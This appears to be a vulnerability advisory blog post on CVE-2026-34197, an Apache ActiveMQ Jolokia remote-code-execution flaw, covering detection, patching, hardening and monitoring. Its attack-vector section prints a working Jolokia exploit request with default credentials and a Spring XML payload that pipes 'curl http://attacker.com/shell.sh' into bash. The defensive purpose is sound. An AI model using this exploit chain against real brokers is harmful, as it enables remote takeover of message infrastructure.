Vulnerability Analysis

CVE-2026-34197: Apache ActiveMQ Jolokia RCE — What It Is & How to Fix It

Executive Summary

CVE-2026-34197 is a remote code execution vulnerability in Apache ActiveMQ Classic that exploits the broker's built-in Jolokia HTTP-to-JMX bridge, allowing an attacker to force the broker to fetch and execute a remote attacker-controlled Spring XML configuration file — effectively giving them full control of the Java process. The flaw lurked undetected for 13 years across all ActiveMQ Classic releases before being surfaced in early 2026, and CISA added it to its Known Exploited Vulnerabilities (KEV) catalog on April 16, 2026 following confirmed active exploitation. All organizations running Apache ActiveMQ Classic before version 5.19.4 or between 6.0.0 and 6.2.2 should patch immediately and audit their environments for signs of compromise.

1. What Is This Vulnerability?

Apache ActiveMQ Classic ships with a web administration console that includes Jolokia — an HTTP-to-JMX (Java Management Extensions) bridge that exposes broker management operations as a REST API at /api/jolokia/. Jolokia lets administrators invoke JMX MBean operations over plain HTTP, which is convenient for tooling but catastrophically dangerous if improperly secured.

The crux of CVE-2026-34197 is the addNetworkConnector(String) operation on the broker MBean. This operation, designed to establish broker-to-broker bridges at runtime, accepts a URI string that supports a brokerConfig parameter — a feature intended to point at a local Spring XML file for configuration. The vulnerability arises because ActiveMQ performs no validation on this URI, permitting it to reference a remote HTTP/HTTPS resource. When the broker processes this URI, it fetches the remote URL and instantiates every Spring bean defined in the returned XML — including beans that execute arbitrary OS commands.

The full exploitation chain looks like this:

Attacker → POST /api/jolokia/ (invoke addNetworkConnector) →
  ActiveMQ fetches attacker's remote Spring XML →
    Spring instantiates malicious bean (e.g., ProcessBuilder) →
      OS command executes as the ActiveMQ service account

This is a bypass of the earlier CVE-2022-41678 patch. The previous fix blocked direct ClassInfo manipulation via Jolokia type parameters, but CVE-2026-34197 stays entirely within the legitimate MBean API surface, sidestepping that fix entirely.

Attack Vector

An attacker sends a crafted POST to the Jolokia endpoint:

POST /api/jolokia/ HTTP/1.1
Host: activemq-broker:8161
Authorization: Basic YWRtaW46YWRtaW4=   (admin:admin — common default)
Content-Type: application/json

{
  "type": "exec",
  "mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
  "operation": "addNetworkConnector(java.lang.String)",
  "arguments": [
    "static:(tcp://127.0.0.1:0)?brokerConfig=xbean:http://attacker.com/malicious.xml"
  ]
}

The malicious.xml file the attacker hosts contains a Spring bean that spawns a reverse shell or drops a web shell into the broker's file system. Because Spring instantiates all declared beans on load, execution happens immediately when the file is fetched.

A minimal payload Spring XML file looks like:

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
           http://www.springframework.org/schema/beans/spring-beans.xsd">

  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>bash</value>
        <value>-c</value>
        <value>curl http://attacker.com/shell.sh | bash</value>
      </list>
    </constructor-arg>
  </bean>

</beans>

Real-World Impact

Threat intelligence reports published in April 2026 indicate active scanning by multiple threat actor clusters for exposed Jolokia endpoints across internet-facing ActiveMQ deployments. CISA's addition to the KEV catalog — requiring federal agencies to patch by April 27, 2026 — confirms in-the-wild exploitation. ActiveMQ is widely deployed in enterprise middleware stacks, CI/CD pipelines, financial services messaging infrastructure, and healthcare data integration, making the blast radius of this vulnerability substantial. Successful exploitation grants the attacker code execution as the ActiveMQ service account, which in many deployments runs with broad filesystem or network privileges.

2. Who Is Affected?

The vulnerability affects:

  • Apache ActiveMQ Classic all versions before 5.19.4
  • Apache ActiveMQ Classic versions 6.0.0 through 6.2.2

ActiveMQ Artemis (the newer codebase) is not affected — Jolokia is not included by default in Artemis deployments.

Severity escalation note: On ActiveMQ Classic versions 6.0.0–6.1.1, a separate vulnerability (CVE-2024-32114) inadvertently leaves the Jolokia API exposed without any authentication. On those versions, CVE-2026-34197 becomes effectively an unauthenticated RCE with no credentials required whatsoever. Even on versions that do require credentials, the default admin:admin credential is extremely common in production deployments, reducing the practical barrier to entry.

Environments most at risk:

  • ActiveMQ brokers with the web console exposed to untrusted networks (or the public internet)
  • Deployments still using default admin:admin credentials
  • Organizations running versions 6.0.0–6.1.1 (compounding CVE-2024-32114)
  • Container environments where ActiveMQ port 8161 is inadvertently exposed via misconfigured service or ingress rules

3. How to Detect It (Testing)

Manual Testing Steps

  1. Identify exposed Jolokia endpoints. Attempt to reach the Jolokia endpoint at http://<broker-host>:8161/api/jolokia/ from an untrusted network segment. A successful JSON response confirming broker information means the endpoint is reachable and should be investigated further.

  2. Check authentication enforcement. Make an unauthenticated GET to http://<broker-host>:8161/api/jolokia/ (no Authorization header). If you receive broker data instead of a 401, the endpoint is unauthenticated — the system is also vulnerable to CVE-2024-32114 and represents a critical-severity unauthenticated RCE chain.

  3. Verify broker version. Access the web console at http://<broker-host>:8161/ and check the broker version reported in the UI or via http://<broker-host>:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=*/BrokerVersion. Any version below 5.19.4 or between 6.0.0 and 6.2.2 is vulnerable.

  4. Inspect network connector configuration. Check for unexpected network connectors that may have been added by an attacker using: GET /api/jolokia/read/org.apache.activemq:type=Broker,brokerName=*/NetworkConnectors. Entries with brokerConfig=xbean:http://... pointing to external URLs are strong indicators of exploitation.

  5. Review broker logs for IOCs. In activemq.log, search for:

    • addNetworkConnector calls referencing vm:// URIs with brokerConfig=xbean:http
    • Unexpected outbound HTTP connections originating from the broker process
    • Spring bean instantiation log entries from unexpected configuration sources

Automated Scanning

Using Nuclei (recommended for quick sweeps):

nuclei -t cves/2026/CVE-2026-34197.yaml -target http://activemq-broker:8161

If the community template is not yet available, run a detection check manually:

# Check for unauthenticated Jolokia access
curl -s -o /dev/null -w "%{http_code}" http://TARGET:8161/api/jolokia/
# 200 without auth header = unauthenticated exposure

# Check broker version via Jolokia
curl -s "http://admin:admin@TARGET:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=*/BrokerVersion"

Using Shodan/Censys for asset discovery:

Search for port:8161 http.title:"ActiveMQ" to enumerate internet-exposed brokers in your ASN or IP range. Any results that are internet-facing and below the patched version require immediate action.

Using Nmap for service fingerprinting:

nmap -sV -p 8161 --script http-title TARGET

Code Review Checklist

When reviewing ActiveMQ deployment configuration files:

  • Confirm jetty.xml restricts the web console to 127.0.0.1 or an internal management VLAN only
  • Verify users.properties and groups.properties have been updated from default admin:admin credentials
  • Confirm Jolokia is disabled or restricted in activemq.xml / jolokia-access.xml if web console access is not required
  • Check jolokia-access.xml for <allow-origin> and <allow-host> restrictions
  • Verify no public-facing load balancer or ingress rule forwards traffic to port 8161

4. How to Fix It (Mitigation)

Step-by-Step Remediation

  1. Upgrade Apache ActiveMQ Classic to version 5.19.4 (for the 5.x line) or 6.2.3 (for the 6.x line). These are the minimum patched versions. If running a version older than 5.19.x, upgrade to the 5.19.4 release. Downloads are available at activemq.apache.org.

  2. Change default credentials immediately. Even before patching, update ACTIVEMQ_HOME/conf/users.properties and ACTIVEMQ_HOME/conf/groups.properties to replace admin:admin with a strong, unique password. This raises the bar for exploitation on versions that are not yet patched.

  3. Restrict web console network access. Edit ACTIVEMQ_HOME/conf/jetty.xml to bind the web console only to trusted interfaces. Locate the <Set name="host"> property for the web connector and change it from 0.0.0.0 to 127.0.0.1 or your management IP:

    <!-- Before (vulnerable — web console reachable on all interfaces) -->
<Set name="host"><SystemProperty name="jetty.host" default="0.0.0.0"/></Set>

<!-- After (restricted to localhost) -->
<Set name="host"><SystemProperty name="jetty.host" default="127.0.0.1"/></Set>

  4. Disable or restrict Jolokia if the web console API is not required. Add IP-based restrictions in ACTIVEMQ_HOME/conf/jolokia-access.xml:

    <?xml version="1.0" encoding="utf-8"?>
<restrict>
  <remote>
    <host>127.0.0.1</host>
    <host>10.0.0.0/8</host>  <!-- replace with your management subnet -->
  </remote>
  <deny>
    <mbean>
      <name>org.apache.activemq:*</name>
      <operation>addNetworkConnector</operation>
    </mbean>
  </deny>
</restrict>

  5. Block outbound HTTP/HTTPS from the broker process at the network firewall level. The attack requires the broker to fetch a remote Spring XML file, so preventing outbound connections from the broker host to untrusted IPs eliminates the exploitation path even if the Jolokia endpoint is reached.

  6. Restart the broker to apply configuration changes. Roll the upgrade through staging before production, verifying message queue behavior remains stable.

Code Fix Example

The patch in ActiveMQ 5.19.4 / 6.2.3 adds validation to reject URIs with brokerConfig parameters pointing to remote resources in the addNetworkConnector operation:

// Before (vulnerable): no validation on the URI argument
public String addNetworkConnector(String discoveryAddress) throws Exception {
    NetworkConnector connector = getBrokerService()
        .addNetworkConnector(discoveryAddress);
    ...
}

// After (patched): remote brokerConfig URIs are rejected
public String addNetworkConnector(String discoveryAddress) throws Exception {
    URI uri = new URI(discoveryAddress);
    String brokerConfig = URISupport.parseParameters(uri).get("brokerConfig");
    if (brokerConfig != null) {
        URI configUri = new URI(brokerConfig.replaceFirst("^xbean:", ""));
        if (!configUri.getScheme().equals("file")) {
            throw new IllegalArgumentException(
                "brokerConfig URI must use file:// scheme; remote URIs are not permitted");
        }
    }
    NetworkConnector connector = getBrokerService()
        .addNetworkConnector(discoveryAddress);
    ...
}

Configuration Hardening

Beyond patching, apply these hardening steps permanently:

  • Set ACTIVEMQ_OPTS in the startup script to include -Dorg.apache.activemq.SERIALIZABLE_PACKAGES="" to restrict Java deserialization exposure
  • Enable SSL/TLS on the web console (configure HTTPS in jetty.xml) so credentials are not transmitted in cleartext
  • Remove or rotate all default accounts defined in users.properties
  • Consider disabling the Jolokia servlet entirely in jetty.xml if programmatic JMX access is not required by your monitoring stack

5. How to Test the Fix (Validation)

Regression Test Scenarios

  • Scenario A: Verify that the patched broker correctly rejects a Jolokia addNetworkConnector call with a remote brokerConfig URI, returning a 400 or error JSON response rather than fetching the remote resource.
  • Scenario B: Confirm that legitimate network connector creation using a local file:// URI still works correctly post-patch, ensuring no regression in broker federation functionality.
  • Scenario C: Verify existing message consumers and producers on all configured transports (TCP, SSL, STOMP, AMQP) continue to function normally after the upgrade and configuration changes.

Security Test Cases

Test Case 1: Verify the vulnerability no longer exists

  • Precondition: Apply patch to 5.19.4 or 6.2.3, restart broker
  • Steps: Send the Jolokia addNetworkConnector request with brokerConfig=xbean:http://attacker.com/test.xml
  • Expected Result: Broker returns an error (IllegalArgumentException); no outbound connection to attacker.com is observed in network logs

Test Case 2: Verify authentication is enforced on Jolokia

  • Precondition: Patched broker with non-default credentials configured
  • Steps: Send a GET to /api/jolokia/ with no Authorization header
  • Expected Result: HTTP 401 Unauthorized; broker info is not returned

Test Case 3: Verify web console is not reachable from untrusted networks

  • Precondition: jetty.xml updated to bind to 127.0.0.1
  • Steps: Attempt to connect to port 8161 from an IP outside the management subnet
  • Expected Result: Connection refused or timeout; port is not reachable

Automated Tests

The following shell script can be incorporated into a CI/CD pipeline or scheduled monitoring check:

#!/usr/bin/env bash
# CVE-2026-34197 validation check
# Run against your ActiveMQ host after patching

HOST="${1:-localhost}"
PORT="${2:-8161}"
CREDS="${3:-admin:CHANGEME}"

echo "[*] Testing Jolokia authentication enforcement..."
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "http://${HOST}:${PORT}/api/jolokia/")
if [ "$STATUS" = "200" ]; then
  echo "[FAIL] Jolokia endpoint is unauthenticated (HTTP 200 without credentials)"
  exit 1
else
  echo "[PASS] Unauthenticated access returned HTTP $STATUS"
fi

echo "[*] Testing remote brokerConfig rejection..."
RESPONSE=$(curl -s -u "${CREDS}" \
  -H "Content-Type: application/json" \
  -d '{
    "type":"exec",
    "mbean":"org.apache.activemq:type=Broker,brokerName=localhost",
    "operation":"addNetworkConnector(java.lang.String)",
    "arguments":["static:(tcp://127.0.0.1:0)?brokerConfig=xbean:http://example.com/test.xml"]
  }' \
  "http://${HOST}:${PORT}/api/jolokia/")

if echo "$RESPONSE" | grep -q '"status":200'; then
  echo "[FAIL] Broker accepted remote brokerConfig URI — patch may not be applied"
  exit 1
else
  echo "[PASS] Broker rejected remote brokerConfig URI"
fi

echo "[*] All checks passed."

6. Prevention & Hardening

Best Practices

  • Never expose ActiveMQ management interfaces to untrusted networks. The web console (port 8161) should only be reachable from dedicated management hosts or through an authenticated VPN tunnel. This single control eliminates the vast majority of exploitation paths for CVE-2026-34197 and future Jolokia-related vulnerabilities.
  • Implement a vulnerability management program with an SLA for critical patching. CISA's KEV catalog addition means active exploitation is confirmed — a 72-hour patch window for critical/KEV vulnerabilities is a defensible baseline.
  • Enforce egress filtering on all message broker hosts. Brokers have no legitimate reason to initiate outbound HTTP connections to arbitrary internet hosts. A strict egress allowlist (only to configured upstream brokers, monitoring endpoints, and package registries) would have blocked CVE-2026-34197 exploitation even on unpatched systems.
  • Rotate credentials on all infrastructure components quarterly and enforce this via secrets management tooling (HashiCorp Vault, AWS Secrets Manager, etc.) rather than static configuration files.

Monitoring & Detection

To detect active exploitation attempts against your ActiveMQ brokers in production:

Log-based detection — Forward ACTIVEMQ_HOME/data/activemq.log to your SIEM and create alerts for:

  • Log lines containing addNetworkConnector and brokerConfig=xbean:http in the same entry
  • Any org.springframework.beans.factory.xml.XmlBeanDefinitionReader log entries sourcing from a URL (not a classpath or file path)
  • Unexpected NetworkConnector startup messages (new connector names not matching known topology)

Network-based detection — Alert on:

  • Outbound HTTP/HTTPS connections from hosts where ActiveMQ is installed to non-whitelisted destinations
  • Inbound POST requests to /api/jolokia/ from any IP outside the approved management subnet (this should normally be zero)

Endpoint detection — EDR rules should flag:

  • Child processes spawned by the activemq or java process that were not present in the baseline (shells, curl, wget, etc.)
  • Writes to ACTIVEMQ_HOME/webapps/ or adjacent directories by the broker process (web shell drops)

References

Latest from the blog

See all →